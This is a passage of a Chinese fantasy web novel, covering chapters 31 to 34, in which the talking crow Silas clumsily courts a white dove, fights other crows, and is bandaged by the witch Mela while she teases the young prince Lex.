“哈,你承认你偷偷看我拿来压箱底的那些小说了!”梅拉的重点不知为何跑偏了。 还是莱克斯把话题给拉回了正轨,“我记得正常的乌鸦求偶,也不是靠送花来获取对方的欢心吧?” 他现在算是明白塞拉斯为什么示爱失败了,合着它是拿男人求爱女人的那一套来生搬硬套,但无论怎么看,那只白鸽怎么看都不像是会接受的样子。 毕竟它只是一只普普通通的鸽子而已啊!塞拉斯的行为落在它的眼里,大概既怪异,又恐怖。 “可是,我也没见过正常乌鸦是如何求偶的。”塞拉斯一下子气弱了。 它只见过白松镇上,梅拉的那些追求者是如何讨好她的。 “哦?”莱克斯发出意味不明的一声,仿佛很感兴趣的样子,“那梅拉的那些追求者是怎么做的呢?” “给她送集市上买来的小玩意儿、给她找来珍贵的草药、邀请她参加舞会一起跳舞……”塞拉斯绞尽脑汁地回忆。 虽然那些小玩意儿梅拉压根不感兴趣,最后都成为了它的玩具。 虽然梅拉去完舞会就说一晚上都在跳舞简直太累人了,下次再也不去了。 “是这样啊,”莱克斯若有所思地勾起唇角,“可你看这些手段根本没有打动梅拉,不是吗?” 否则梅拉又怎么会孤立无援地逃离白松镇。 所以,塞拉斯一开始学习他们的做法就是错误的。 “……也不能说压根没有奏效吧,”被追求的当事人梅拉跳出来反驳道,“至少我就记得送我星斑藤的那个人叫普利尼,是住在隔壁黑河镇上的一名药材商人的儿子。” “送你星斑藤的那个人不是叫尼普利吗?以及他的父亲明明是黑河镇上的粮食商人。”塞拉斯疑惑地反问。 闻言,莱克斯右手握成拳,抵在唇上,免得一不小心笑出了声,惹得梅拉恼羞成怒。 梅拉悻悻地收了声,顺便将塞拉斯和莱克斯各瞪了一眼。 莱克斯也就算了,塞拉斯怎么就不长记性,非要拆她的台呢。 “总之,这些都是错误示范,你以后还是别学了。”莱克斯清了清嗓子,正色道。 “那你说我该怎么办?”塞拉斯难得低着脑袋,放低姿态,向莱克斯虚心求教。 莱克斯也没有糊弄它,给了个看上去非常可靠的办法,“这个简单,你去找一只求偶成功的乌鸦当做范例不就好了。” 人家既然成功了,那就说明它的做法一定有可取之处。 “好吧,为了我的爱情,我愿意作出这样巨大的牺牲。”塞拉斯沉默片刻,攥紧了翅膀,仿佛下定了某种决心。 “加油,塞拉斯!”身为它的主人,梅拉毫不吝啬地给予了自己的支持。 接着她看向没有表态的莱克斯。 “……加油。”莱克斯不得不硬着头皮道。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 30-40 第31章 第 31 章 [塞拉斯偷窥乌鸦小夫妻…… 塞拉斯灰溜溜地回来了。 它先是鬼鬼祟祟地降落到窗台上, 探出小半个脑袋,视线绕着屋子内转了一圈,确认梅拉和莱克斯都不在小木屋里后,这才放心的大摇大摆地走了进来。 然而下一秒, 塞拉斯就被捏住后脖颈拎了起来。 “你鬼鬼祟祟的干什么呢?” 梅拉的声音从塞拉斯的背后传来。 激得它下意识的缩了缩脖子, 不敢吭声。 很快,塞拉斯反应过来, 这么做只会显得它更加可疑, 赶紧磕磕巴巴地开口, “没、没干什么啊, 我就是想和你玩捉迷藏呢。”? 没事玩什么捉迷藏? 梅拉把塞拉斯拎到自己面前, 转过来,凑近了打量,“说起来, 你为什么要拿翅膀捂着肚子?” “什么肚子?噢!刚才风太大, 好像吹得肚子有点凉,怕着凉吧,哈哈……”塞拉斯被拎着后脖颈还不老实,嘴里含含糊糊的,脚下也在使劲,试图脱离梅拉的钳制。 可惜,不管是当年塞拉斯还小时, 还是现在, 梅拉想要拿捏它都是轻轻松松的事。 “把翅膀挪开给我看看。” 梅拉说着,直接上手扒拉。 吓得塞拉斯一下子挣扎得更加厉害了。爪子不断在腾空的状态下胡乱扑腾,身子跟荡秋千一样不停左右摇摆,唯独一对翅膀死死地捂住肚皮, 不断躲避着梅拉伸来的手。 “不、不行!你快放开我!”意识到自己的语气太强硬,对上梅拉越来越狐疑的眼神,塞拉斯渐渐弱了气势,“哈哈,我说错了,我的意思是,你先把我放下来再说……” “怕不是我刚把你放下来,你就立刻飞走了吧?”梅拉才不跳这么笨的陷阱。 明摆着塞拉斯有事瞒着她。 “我数三声,立刻坦白你想隐瞒的事情,否则——” 梅拉故意没把话说完,只哼了两声,让塞拉斯自己掂量后果。 她相信,塞拉斯被这么一恐吓,是绝对不敢再瞒下去了。 “好吧,既然你非要看,那就看吧!” 果然,塞拉斯投降了。 只见它视死如归一般打开翅膀,露出底下柔软的腹部,以及上头明显被啄得一丛羽毛浅一丛羽毛深的模样。 就像一个人的头发突然变成了一片坑坑洼洼的草地似的,看起来不仅丑陋,还令人忍俊不禁。 “噗嗤。”梅拉忍了又忍,还是没忍住笑出了声,“你、你这是怎么、怎么一回事?” 难得见梅拉说话变得结巴,可塞拉斯不仅没有了笑话她的心情,反而因为自己就是那个笑话,而变得无比沮丧。 正因为早知道梅拉会是这个反应,所以它才不想被她看到! 结果偏偏还是让梅拉给撞见了。 塞拉斯恨不得时光倒流,在养好伤之前,干脆连小木屋都不回来了。 “好啦,快说是谁欺负了你,我让莱克斯去帮你找回场子。”梅拉克制住嘴角的弧度,故意严肃道。 可惜塞拉斯不是瞎子,看得见她眼里如初春时节,河中冰雪消融,重新流动起来的笑意。 她明明就是想听它是如何被欺负的故事了。塞拉斯郁闷地想。 可它的嘴巴却主动张开,让挤在喉咙处的回答找到出口,自己跑了出来。 “还不是因为莱克斯提的建议……” 为了帮助塞拉斯成功追求到它心爱的百合小姐,莱克斯提议,让塞拉斯找一个求偶成功的模范学一学,说不定从此就开窍了呢。 塞拉斯听了,觉得是个好主意,立刻行动起来,飞遍小木屋附近的树林,找到了一对每天都甜甜蜜蜜的乌鸦夫妻。 没办法,这会儿俨然快要进入盛夏,求偶期早已结束,塞拉斯只好将就一下,从这对夫妻身上学习公鸟是如何讨雌鸟欢心的。 塞拉斯悄无声息地停在了一根树枝上,离这对年轻的乌鸦夫妻筑的巢不远,还能借着枝叶的掩映偷偷摸摸地观察它们的生活。 看到公鸟用喙轻柔地给雌鸟梳理身上的羽毛,塞拉斯心里想的却是梅拉曾经用手温柔地拂过它的身体。 梅拉的指甲通常修剪成圆润的形状,如同一粒粒白里透粉的贝壳一般,陷入塞拉斯的羽毛里,替它打理好不小心翻飞的那一根逆羽。 舒服得塞拉斯忍不住转过身,示意梅拉另一边也要。 视线中,身为丈夫的那只乌鸦忽然从巢里飞了出去,塞拉斯赶紧回神,琢磨它这么做的目的。 过了一会儿,它回来了,嘴里还叼着一块亮晶晶的石头。 原来是去找漂亮的小石头当礼物来送了。 塞拉斯眼神挑剔地打量着它递给雌鸟的那块石头,有个地方太尖锐,容易划伤嘴巴;花纹不够鲜艳,面积也不够大;颜色不够剔透等等,只觉得根本比不上自己这些年收藏的任何一块石头。 想当初,塞拉斯送给梅拉的第一块石头,可是它精挑细选了好久,山上山下飞了几百趟,才终于决定带回来的最完美的一块。 塞拉斯还记得梅拉收到它放到手心的石头时,眼里的惊讶根本掩饰不住,甚至高兴得直接合起手掌,把塞拉斯一把抱入了怀里。 “真是一块特别漂亮的石头,我很喜欢,谢谢你,塞拉斯。” 此时的塞拉斯还不懂要掩饰自己骄傲的小情绪,它直愣愣地笑出来,激动地许诺之后还会给梅拉找更多更漂亮的石头回来。 可惜那些漂亮的石头和白松镇的家一起,落到了不知道谁的手中。 或许是那个贪婪讨人厌的税务官,他总爱上门从梅拉手里讨点小便宜,最后还要让梅拉给他送免费的草药。 呸,真是不要脸。 又或许是隔壁总是不安好心的詹森太太,她嫉妒梅拉一个年轻的姑娘独自居住在那么大的房子里,而他们一家十几口人却要挨挨挤挤地住满家里的各个房间。 可又不是梅拉让她接二连三地生七八个孩子,甚至梅拉还劝过她,生太多孩子对身体不好。还记得她的脸色越来越苍白,简直快要和准备躺进棺材里的死人一样了。 最好是落到了好心肠的苏珊手里。 她会做美味的面包和烤肠,还会给塞拉斯用毛线织一块柔软暖和的垫子。整个白松镇上,除了梅拉之外,塞拉斯最喜欢她了。 可惜她的父母总是想要逼她嫁人。 如果她能住到梅拉的房子里,这样即使不用嫁人,她也能拥有属于自己的落脚之地了。 塞拉斯想得太入迷,以至于忘记了屏息凝神,不慎暴露了自己的踪迹。 察觉到被窥探的公鸟注意到不远处的塞拉斯,立刻雄赳赳气昂昂地鼓动翅膀飞起来,径直朝敌鸟,即塞拉斯飞去,狠狠地用喙啄下了塞拉斯脖子以下的几片羽毛。 反应不及时的塞拉斯眼睁睁地看着自己分外爱护的羽毛被啄,一时间同样怒从心头起,打消了想要逃跑的念头,留下来和那只公鸟你一口我一口的打起了架。 塞拉斯毫不留情地朝公鸟的头上叮去,势要让它为自己刚才的所作所为付出代价。 “所以,你是赢了还是输了?” 这会儿梅拉已经坐到了摇椅上,举着纱布和药粉,小心翼翼地往躺倒在她膝盖上的塞拉斯身上倒。 “嘶——”塞拉斯倒吸一口冷气。 那药粉一沾到伤口,它立刻感受到像是被盐水浸过一般的刺痛。 “别动。”梅拉这会儿没有空闲的手可以制住塞拉斯,只好用眼神示意它别扭,小心把洒上去的药粉给抖落了。 塞拉斯乖乖地忍住了。 直到梅拉将它身上的每一处伤口检查过,确定都用药粉严严实实地裹住后,再用纱布缠上,塞拉斯才终于能够随意行动了。 只不过,身上的纱布禁锢了它的翅膀,塞拉斯大概得有好一阵子只能像个走地鸡似的,光靠两条腿走路了。 “亲爱的梅拉,你能不能用剪刀给我身上这块纱布修剪一下?我不想飞不起来。”塞拉斯试图用可怜巴巴的眼神打动梅拉,答应它的请求。 然而铁石心肠的梅拉拒绝了塞拉斯,她笑吟吟的目光在塞拉斯身上转了一圈,“这不是包得挺好的吗?圆滚滚的,是黑芝麻馅的馅饼。” 我看是你想吃黑芝麻馅饼了才对。塞拉斯暗戳戳地想到,却不敢真的和梅拉对着干。 算了算了,暂时飞不了就飞不了吧,只是它要有好长一段时间没法飞去找百合小姐了。塞拉斯不由得有些郁闷。 还有莱克斯,提的什么没有用的建议,它也是一时心急才会信了他的话。 也不想想,以莱克斯的年纪,又天天围着梅拉打转,连喜欢的对象都没有,又怎么可能为它的追爱大计提出什么有效的办法呢? 果然,靠人不如靠自己。塞拉斯暗道,决定之后还是要靠自己的方法来。 “所以你好不容易硬气一回,和别的鸟打架,到底是赢了还是输了?” 梅拉仍然对这个问题耿耿于怀,非要塞拉斯回答她。 “勉强算是平手吧。”塞拉斯也不知是为了挽尊,还是真的确有其事,总之给出了一个非常勉强的答案。 “真的?”果然,梅拉压根不相信。 “当然是真的!我还把它头顶上的羽毛啄掉了好多根,看它这下变成了半个秃子,估计要被嫌弃了吧。”塞拉斯发出一阵嘎嘎的坏笑。 别看它被当成宠物养了这么多年,野性几近于无,但真要惹恼了它,它塞拉斯也是不找回场子决不罢休的! 嗯,这点也和它的主人梅拉一样,不愧是一对相伴多年的好主宠。 第32章 第 32 章 [小情侣互动] 同样的午后, 同样站在排列整齐的花盆前,莱克斯提着水壶仔细地控制着浇入花盆的水量,梅拉则跟在他身后,弯着腰, 挑起面前粉色的花苞逐一进行查看。 透过尚处于闭合状态的薄如蝉翼的花瓣, 能看见其中被掩藏起来的影影绰绰的花蕊,看样子似乎很快就能迎来这一批粉红烟管花盛开的日子。 换做平时, 梅拉一定会为此感到高兴不已, 然而现在, 梅拉却对着长势喜人的花苞长长地叹了口气。 见莱克斯没有如预料中的那样搭话, 梅拉只好重新重重地叹了口气。 其实猜到梅拉想说什么, 所以故意不搭茬的莱克斯:“……怎么了吗?这花有哪里长得不好吗?” “不是花的问题,是塞拉斯的问题。”梅拉着重强调。 “自从它第六十七次接近百合小姐失败,已经整整两天没有回来小木屋了。” 梅拉认为可怜的塞拉斯一定是彻底受到打击, 从此一蹶不振了。 作为主人, 以及和塞拉斯住在同一屋檐下多年,也算是感情深厚的同居者的莱克斯,难道不应该关怀一下它吗? “如果这两天它按时回来吃晚餐,吃完又飞走也算没回来过的话。”莱克斯面无表情地补充。 这也是他丝毫不像梅拉一样担心塞拉斯的原因。 莱克斯觉得,塞拉斯这两天之所以躲在外头不愿意回来,大概是因为觉得太丢脸的缘故。 以及担心遭到梅拉光明正大的嘲笑。 干脆躲在外头,还能趁机卖惨。 只不过饭还是要吃的。 一到平时享用晚餐的时间, 塞拉斯便会准时飞回来, 对着碗里新鲜出炉的食物大快朵颐,吃得喷香。 而吃完晚餐,再当着梅拉与莱克斯的面飞走,也许是它试图维持自尊的最后的倔强。 莱克斯想, 大概过不了多久,塞拉斯就会恢复元气,精神抖擞地重新露面。 更何况,“这次的打击其实对塞拉斯来说或许是件好事呢?至少能够帮助它认清现实,不再试图追求永远不会回应它的对象。” 莱克斯从理智的角度分析到。 “听起来,你是觉得塞拉斯应该放弃这段感情吗?”梅拉问。 “在被心上人拒绝后,仍要继续纠缠的行为实在不属于一名贵族应有的风度。”每当莱克斯不想要回答某个问题的时候,他就会搬出格外冠冕堂皇的说辞。 莱克斯也说不清自己此刻是什么想法,只是下意识的觉得不能就这么向梅拉坦白。 若有若无的第六感在提醒着他,务必要谨慎开口。 有时候梅拉心情好,倒也随便莱克斯就这么糊弄过去,但现在,梅拉非要打破砂锅问到底,“谁要听你说这些,你只要说你心里到底是怎么想的就行了。” 莱克斯:“……” 好吧。 “我是这么想的没错。”莱克斯承认了。 “倘若换做是我,我是绝对不会像塞拉斯一样坚持追求一个屡屡拒绝自己的人的。” 在莱克斯看来,塞拉斯早该放弃了。 世人往往喜欢把这种不必要的执着称之为浪漫,许多传世的诗篇中,也有不少专门歌颂坚持就能获得真爱的故事。 然而骄傲如莱克斯,从来不屑于捧上一颗真心,任所谓的心上人三番五次地弃如敝履。 他宁可收回这份爱,也绝不要沦落到摇尾乞怜的地步。 “总觉得一旦你哪一天被心上人拒绝了,一定会做出比塞拉斯还要不可理喻的事情。”梅拉幽幽地道。 “不过,”不等莱克斯反驳,梅拉又道,“反正那也是你离开这里之后的事情了。” 毕竟这座黑暗森林里除了梅拉之外,暂时也没有别的女人了。 哪像在王宫里,永远有身份高贵的贵族小姐穿着华丽的衣裙,化着精致的妆容,出现在莱克斯的视线之中,羞答答地喊他一声—— “王子殿下。” 梅拉说着,自己都忍不住笑了起来。 “小心——”莱克斯眼疾手快地伸手,拉了梅拉一把,否则她差点就要整个人以蹲着的姿势往后栽去。 这下梅拉倒是站了起来,只不过却是直接扑到了莱克斯的怀里,嗅到了他身上干净的皂香。 十七岁的少年,距离成年的日子不再遥遥无期,甚至早已近在眼前,所以衣服包裹下的身躯自然是成熟的、覆盖着柔韧而富有弹性的肌肉。 甚至让梅拉撞得鼻子有些疼。 同样,莱克斯的鼻尖也充斥着属于梅拉的气息,草药的味道裹挟着女性独有的温暖馨香,以至于他竟然有一瞬的失神。 “莱克斯,”梅拉忽然喊他的名字,“我们是不是又该拜托杜克瓦托买肥皂了?” 梅拉非常严肃地道。 毕竟以梅拉日常粗心的程度,裙子上总是难免沾上大小不一的深渍,如果没有肥皂的话,是绝对洗不干净这些渍点的。 “……上个月买的那块肥皂是快用完了。” 莱克斯回过神,松开了梅拉。 本来他正打算过几天和梅拉说这事,既然现在她主动提及,倒是省去了莱克斯提醒的功夫。 只不过发生了这样一个小插曲,哪怕梅拉看起来并不在意,莱克斯还是忍不住把话题转回塞拉斯身上,仿佛这样就能忽略掉心底不该有的情绪。 “……说起来,就算塞拉斯得偿所愿,这段感情应该也不会长久的吧?” 见梅拉看过来,莱克斯补充道,“毕竟它不可能和塞拉斯交流,不是吗?” 这也是之前莱克斯说,那位百合小姐不可能会回应塞拉斯的原因。 塞拉斯是奇迹,是世上唯一一只能说话的乌鸦,它能有来有往地和梅拉与莱克斯交流,就证明它有不输于一般人的智慧。 而百合小姐,却只是一只普普通通的白鸽,它听不懂塞拉斯嘴里说的是什么,它发出的咕咕声也无法被塞拉斯所理解。 因此,莱克斯认为塞拉斯的这段感情完全是它一只鸟的一厢情愿。 这样就更不应该继续下去了。 否则当塞拉斯终有一天意识到,它永远无法与恋人心意相通,受到的打击只会比现在更大。 “按照你的说法,塞拉斯如果需要找一个能够交流的恋人,那它大概只能喜欢人类了吧。可是,”梅拉轻轻地抚平因为刚才的动作所导致裙子上出现的褶皱,“会有人能接受自己和一只乌鸦相爱吗?” 闻言,莱克斯沉默了。 他突然意识到,塞拉斯在这个世上其实是孤独的。 在其他鸟的眼中,塞拉斯说着和人类一样古怪的语言;但是在人类的眼中,塞拉斯只是一只过分聪明的鸟而已。 那么,梅拉呢? 她又何尝不是孤独的。 和其他生下来就注定了身份的女巫不同,梅拉曾在人群中生活了十几年,她也习惯了这样的生活,然而,因为后来成为了女巫,又不幸暴露了身份,她不得不带着塞拉斯离群索居。 假如当初莱克斯没有选择闯入黑暗森林,那么梅拉是不是还要带着塞拉斯,继续过着这样的日子? 这样,除了偶尔造访的杜克瓦托之外,再也没有其他可以说话的人的日子。 想到这,莱克斯忍不住去观察梅拉的眼睛,试图窥探她藏在那片绿色湖泊下的真实的内心。 梅拉到底是怎么想的呢? 夜深人静的时刻,她偶尔也会感到寂寞吗? “嗯?你在看什么?” 注意到莱克斯的视线,梅拉好奇地凑上来,和莱克斯近距离地对视。 反倒是莱克斯吓得连连往后退了好几步。 “怎么了?不是你想要看我的眼睛吗?我主动凑上来,你怎么还往后退呀?”梅拉笑吟吟地反问,眼里是明晃晃的戏谑。 她就是故意在逗弄莱克斯呢。 见状,哪怕明知道是怎么一回事,莱克斯还是忍不住露出有些古怪的表情,“我已经十七岁了,”他强调到,“你是不是还觉得我是当年那个孩子?” 否则怎么会觉得不需要和他保持一个男人与一个女人之间应有的距离? “我知道啊,”梅拉语调轻松,打量的眼神飞快地扫过莱克斯的喉结,不断往下,“假如没到十七岁的话,应该也不会有这么一具漂亮的身材吧?” “我刚才有好好地感受到喔,是非常结实的肌/肉,看来这些年的锻炼没有白费。” 梅拉用带着调侃的口吻强调道。 然后莱克斯的耳朵就以一种肉眼可见的速度飞快地变得通红起来。 “梅拉!” 莱克斯难得带着些许怒意喊了梅拉的名字。 梅拉歪头,一幅完全不担心莱克斯会拿她怎么样的态度。 见到她这副模样,莱克斯心中的怒意真的盖过了羞意。 “梅拉!” 这回喊话的是匆匆忙忙飞回来的塞拉斯。 它的出现打断了空气中若有若无浮动的粉色气息。 塞拉斯忽略掉莱克斯的存在,一股脑地往梅拉的怀里扑去。 “塞拉斯,你这是怎么了?怎么翅膀上又掉了不少的羽毛?难道说,你又和哪只鸟打架去了?” 梅拉吃惊地打量着怀里的塞拉斯。 只见它虽然身上带着伤,脑袋却昂得高高的,一派神气得不得了的样子。 “哼哼。”塞拉斯高兴地哼哼了两声。 “你猜的没错,我是和别的鸟打架去了,但我这回可是有原因的。” 和上次偷窥别的乌鸦小夫妻被揍可不一样。 “这一次,我是为了救百合小姐才挺身而出的!” 塞拉斯兴高采烈地抛下这么一个重磅的消息。 “啊?” 塞拉斯的话引得梅拉与莱克斯面面相觑,一时间脑袋上顶了两个问号。 第33章 第 33 章 [英雄救美的塞拉斯]…… 在第六十七次的接近失败后, 塞拉斯确实动过放弃的念头。 没办法,远远地看到从树枝上被惊起的白色身影,以及它仓惶地回头,似乎身后有恶徒在追的样子, 塞拉斯只觉得自己的心都碎了。 就像梅拉曾不小心打碎的玻璃杯, 砸到地上,碎成了千千万万大小不一的碎片, 锐利的棱角泛着刺痛眼睛的冷光。 塞拉斯揉了揉发酸的眼睛, 拖着蔫耷耷的身躯, 垂头丧气地离开了这里。 不过, 为着那不可言说的自尊心, 塞拉斯选择先在外头呆几天,除了饭点,绝不回到小木屋。 果然, 在塞拉斯刻意的卖惨之下, 梅拉开始心疼它了。 为了挽留塞拉斯用完晚餐后在小木屋多待片刻,梅拉甚至主动端着一盘莱克斯刚切好的甜杏走了过来,热情地招呼它,“塞拉斯,快来尝尝这个杏子,味道可甜了。” “真的?快让我尝——”塞拉斯下意识地眼前一亮,挪动爪子往前走了两步, 好在下一秒, 它立刻反应过来自己的态度有问题,不应该表现得这么迫不及待、没心没肺才对。 于是,塞拉斯的动作一顿,赶紧装模作样地咳嗽了两声, 摆摆翅膀,谢绝了梅拉的好意,“算了,我现在没心情吃这个,唉……这杏子的颜色可真漂亮,像极了我当初曾为百合小姐摘过的那束野花……” “来,张嘴。” 梅拉亲手用小叉子叉了一块杏子递到塞拉斯的嘴边。 塞拉斯毫不犹豫地张嘴吃了下去,生怕慢了一秒,梅拉就把手收了回去。 它嚼嚼嚼。 嗯,梅拉说的没错,这杏子可真甜啊。 塞拉斯的嘴里分泌出口水,望着盘子里的黄澄澄,眼巴巴的还想再来一块。 梅拉忍着笑,满足了它的愿望。 一旁正把洗碗布晾起来的莱克斯顺势投来一瞥,这就不装了,破功可真快,也就是梅拉不想戳穿它,否则按照塞拉斯那点演技压根不够看的。 吃了小半盘杏子后,塞拉斯感觉胃里鼓鼓的,饱胀感简直快要顶到喉咙口,于是忍痛拒绝了梅拉继续递来的果脯。 “我该走了。”它说。 接着一振翅膀,扑向了窗外。 看起来走得毫不留恋。 等到深夜时分,小木屋的灯光暗了下去,估摸着梅拉和莱克斯大概已经睡着了之后,塞拉斯才鬼鬼祟祟地飞了回来,落到了小木屋的屋顶上。 这里有一个专门用来存放它所喜爱的亮晶晶小东西的巢。 只不过以前塞拉斯更喜欢和梅拉待在一起,宁可站在屋子里的栖杆上睡觉,这个巢也就顺理成章地空置了下来。 不过,现在么,塞拉斯虽然要装出一幅伤心的模样,但如果真的要让它独自睡在外头,随时提防有可能出现的敌人和到处乱飞的小虫子,半夜还要被不知道哪些野兽弄出来的动静吵醒,那是绝对不可能的。 因此,塞拉斯正好重新把这个巢捡起来使用,舒舒服服地把自己窝进去,闭上了眼睛。 等到朝阳在地平线上露面的那一刻,再不紧不慢地离开,避免让梅拉或是莱克斯发现。 然而,今天的太阳快完全升到头顶上时,塞拉斯才终于醒了过来。 它吓得扑扇了两下翅膀,往小木屋底下瞧了瞧,庆幸地发现一向习惯早起的莱克斯并不在,才着急忙慌地飞了起来。 小木屋里,站在窗前的莱克斯正好目睹了这一幕:“……” 他转身看了看同样因为睡了懒觉,这会儿还躺在摇椅上眼神迷蒙的梅拉,再一次感叹主人和宠物果然是长得越来越像的一对存在。 * 塞拉斯飞到一半,忽然被地上一个亮闪闪的小东西吸引了视线。 它压低身体,落到地上一看,原来是一枚小小的纽扣。 塞拉斯认不出这是什么材质做成的纽扣,只觉得它看起来就像一粒贝壳一样,是乳白色的,还带着波浪似的弧度。 偶尔阳光侥幸地从繁茂的枝叶间隙透进来一缕,照在这枚纽扣的身上,便闪出了白色的冷光,难怪会吸引到塞拉斯的视线,乌鸦的天性如此,它们天然喜爱一切亮晶晶的东西。 奇怪,黑暗森林罕有人至,谁会掉了粒纽扣在这里? 塞拉斯歪了歪脑袋,没想出个所以然来。 如果此刻莱克斯也在这里,一定能认出这粒纽扣是八年前曾在王城十分流行的一种款式。 可惜,这里只有对此一窍不通的塞拉斯。 它满脑子都是不劳而获的窃喜。 既然掉在了地上,又恰巧被它所发现,那这粒纽扣理所当然就归它所有了。 塞拉斯兴高采烈地将纽扣叼起来。 本来它是打算将这粒纽扣直接带回去收藏起来的,只不过塞拉斯突然想到,尽管它已经打定主意要放弃追求百合小姐了,但还缺一份正儿八经的告别礼物。 梅拉买来的那些小说里写了,那些表白失败的男人为表风度,无一例外都会给女方再送点东西作为留念,有可能是一枚胸针,有可能是一条项链,总之哪怕是最落魄的男人,也要摘一束漂亮的野花送过去。 而塞拉斯自认有着不输于人类的智慧,在告别这件事上,当然也要像人类一样做到尽善尽美。 正好,这个就很合适。 以后,只要百合小姐一看到这粒纽扣,就一定会想起它塞拉斯吧。塞拉斯美滋滋地想到。 两扇翅膀煽动的速度更是加快了几分,整只鸟几乎如同利箭一样朝着一个方向急速飞去。 然后,塞拉斯就撞见了令它那双黑豆眼都下意识瞪大了的一幕。 “竟然有一只可恶的乌鸦追在百合小姐的屁股后头,张开了嘴,只差一点点,它就要得逞了!” 提起这事,塞拉斯仍然是一副义愤填膺的口吻,翅膀都下意识地攥了起来。 梅拉还没来得及提醒它。 于是下一刻,“嘶嘶嘶,好疼,好疼!” 塞拉斯立刻换了副面孔,不仅疯狂地倒抽冷气,而且疼得几乎要在梅拉的膝盖上直接跳起来。 还好梅拉眼疾手快地把它按住了。 否则塞拉斯若是真的跳起来,现在该疯狂倒抽冷气的人就该变成梅拉了。 “所以,你冲上去英雄救美了。” 梅拉用的是肯定句。 不然塞拉斯身上也不会有这么多的伤口。 其惨烈程度甚至有些地方能看到有粉色的皮肉隐隐约约地露出。 梅拉这下是真的心疼不已。 听到塞拉斯叫着“好疼”,立刻放松了制住它的力道,嘴里还哄到,“好了好了,你别动,让我快点给你裹上纱布,我保证,裹好了就不疼了。” 闻言,塞拉斯停下了闹腾,咬着牙安静下来。 而梅拉也说到做到,不过一会儿的功夫,就给塞拉斯包扎好了,然后将它放到了桌子上。 爪子落到实处,塞拉斯哒哒哒地在桌面上来回走动,发现伤口确实不怎么痛了。 再加上一回生二回熟,有过一次经验后,塞拉斯竟然对这种被包起来的感觉适应良好,也不觉得身上的纱布碍事了。 不过,它也没忘了回答梅拉的问题。 准确地来说,是塞拉斯早就想好必须要大肆地宣扬自己的光辉事迹,让梅拉知道,它面对的是怎样的一个强敌: “没错!勇敢的塞拉斯看着那只比自己还大的臭乌鸦,依然选择了冲上去,撞开了它!然后塞拉斯就和那只可恶的乌鸦狠狠地打了一架!” 说起来,如果是以前从未与同类打过架的塞拉斯,下场大概必败无疑。 但,有了上一次的经验,塞拉斯成功地从那名年轻的乌鸦丈夫身上学习了如何躲避要害,又能给敌人迎头痛击的技巧,然后将这个技巧在这一次的斗殴中运用得炉火纯青。 “别看我身上揣着这么多的伤口,但那只臭乌鸦最后可是直接被我吓跑了呢。” 塞拉斯简直得意坏了。 一时间,仿佛身上的伤口都不疼了,这完全是它荣誉的勋章嘛! “对了,那百合小姐呢?”梅拉忽然想起来刚才塞拉斯完全没提到英雄救美故事中的女主角。 它的后续呢? “当然是成功逃走了啊。”塞拉斯道。 好不容易它的敌人被塞拉斯引开了全部的注意力,它正好趁着这个机会飞进了另一片林子里去躲了起来。 至于它到底躲去了哪,这个塞拉斯就不知道了,毕竟它一心想着受了伤,当然要赶紧回小木屋来找梅拉了。 “不过,我把那粒纽扣留下了,虽然没有好好地当面道别,但《情迷庄园之夜》里说了,留下礼物后默默地离去,不失为一种体贴的潇洒。” 塞拉斯挺起胸脯,顺便拨弄了两下没被纱布裹住的羽毛,觉得自己是这世上最潇洒的乌鸦无疑。 听到这个似乎有些熟悉的书名,梅拉反应了好一会儿,才总算想起来,这不就是那本通篇文绉绉的,被她潦草看完一遍直接压箱底了的小说吗? 没想到塞拉斯竟然好这一口。 和她这个主人的品味可真是相去甚远。 不过,梅拉不动声色地往后挪了几步,凑到莱克斯的身边“看来你担心的那件事暂时不会发生了。” 至于是什么事,莱克斯心知肚明,无非就是下午两人在屋后讨论的,莱克斯认为塞拉斯若是继续坚持下去,只会受到更严重的伤害。 而梅拉当时没来得及表明的态度,现在也很清晰了,那就是不赞同莱克斯的想法。 “你看,其实很多事情,未必走得到那么长远,根本没必要担心未来的结果。”梅拉轻巧地拍了拍莱克斯的肩膀,轻笑一声,转身离开了。 根本没必要担心未来吗? 莱克斯在心底反复咀嚼这句话,眼神逐渐变得深邃起来。 第34章 第 34 章 [不详的天气] 梅拉总觉得最近的天气越来越热了。 按理来说, 黑暗森林常年弥漫着一股森冷的气息,即使在夏季最炎热的时候,置身其中也会有一种后背发寒的感觉。 哪怕当初建造小木屋时,她特地挑了能照进阳光的地方, 也不应该这么热才对。 仿佛人都快要融化在椅子上。 身体内的燥热促使梅拉端起放在一旁的杯子, 和人一样蔫吧的薄荷叶飘在水里,根本看不出刚从盒子里拿出来时那绿意盎然, 仿佛自摘下来生机就凝固在了叶片上的模样。 梅拉尝了一口, 薄荷应有的清新提神的味道已经几近于无, 更别提舒缓她体内的热意。 梅拉下意识想呼唤莱克斯, 结果发现他人并不在屋子里。 奇怪, 莱克斯去哪了? 与此同时,梅拉倒是注意到了趴在角落的柜子上,一动不动的塞拉斯。 这个角落应该是整座小木屋里最阴凉的一处地方了, 常年不见阳光, 遇上雨季洇了水汽会变得有些潮湿,偶尔,柜子底部还会冒出两朵细小的蘑菇。 因此,塞拉斯躲在上头,简直像是终于找到了一处避难所,它那一身羽毛在这样的热度下可比梅拉更加难捱。 即使如此,塞拉斯一旦动弹, 哪怕只是稍微变换一下姿势, 一股热气瞬间从体内蒸腾上来,让它恨不得往自己身上兜头浇一盆冷水才好。 突然,门口出现了莱克斯的身影,他的手里拎着几条手帕, 走过来,将其中一条递到了梅拉的手里。 帕子是湿润的,应该刚浸过水,又让莱克斯拧到了不至于往下滴水的程度。总之,梅拉将它往脸上一盖,忍不住发出一声舒服的喟叹。 冰凉清爽,丝滑的触感体贴地裹住了皮肤的每一寸。 什么好东西? 听到动静,塞拉斯抬起头,发现莱克斯又偷偷给梅拉特殊待遇,顿时嚷了起来:“我也要我也要。” 莱克斯手里本来就还剩两条手帕,自然是每个人都有份,包括塞拉斯。 只不过对塞拉斯,莱克斯就没那么温柔了。 随着莱克斯走过来,塞拉斯的眼前忽然一黑,原来是手帕像一张冰凉的毯子一样盖到了它的身上。 塞拉斯顾不上抱怨莱克斯的粗鲁,往前蹭了蹭,大半个脑袋从手帕下挪了出来,然后停住了,像梅拉一样发出舒服的叹息。 此时,莱克斯反倒只是用手帕擦了擦脸上流下的热汗,可以说是这座屋子里最体面的一个。 “对了,这一条手帕是你从旧衣服上剪下来的吗?” 梅拉摸着比寻常麻布更柔软的触感,更轻薄的质地,明显是贵族们最钟爱的绸布。 